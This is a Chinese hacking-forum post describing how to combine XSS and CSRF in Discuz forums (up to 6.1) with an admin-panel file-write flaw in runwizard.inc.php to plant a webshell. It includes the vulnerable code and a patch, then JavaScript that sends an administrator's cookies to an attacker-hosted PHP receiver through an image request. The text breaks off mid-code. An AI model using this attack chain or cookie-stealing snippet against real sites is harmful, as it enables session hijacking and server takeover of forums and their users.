discuz xss拿shell

Discuz XSS得webshell
By racle @tian6.com
欢迎转帖.但请保留版权信息.
受影响版本:Discuz<=6.1.0,gbk+utf+big5

新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.

3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一… 54794&ptid=8706
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.

分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等…
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS

----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------

problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.

problem2:DISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.

problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.

下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {

    global $runwizardfile, $runwizardhistory;

    $fp = fopen($runwizardfile, 'w');

    fwrite($fp, serialize($runwizardhistory));

    fclose($fp);

}
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
以下是修补的办法:function saverunwizardhistory() {

    global $runwizardfile, $runwizardhistory;

    $fp = fopen($runwizardfile, 'w');

    $s = '<?php exit;?>';

    $s .= serialize($runwizardhistory);

    fwrite($fp, $s);

    fclose($fp);

}
复制代码加写 ‘<?php exit;?>’;到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.

----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------

以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.

我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.

这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.

首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:

var url=“http://目标网站/admincp.php”;

/获得cookies/

function getURL(s) {

var image = new Image();

image.style.width = 0;

image.style.height = 0;

image.src = s;

}

getURL(“我们做好的接收cookies的.php?x=”+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
复制代码php以get方式接收过来的变量. c o o k i e s = cookies= <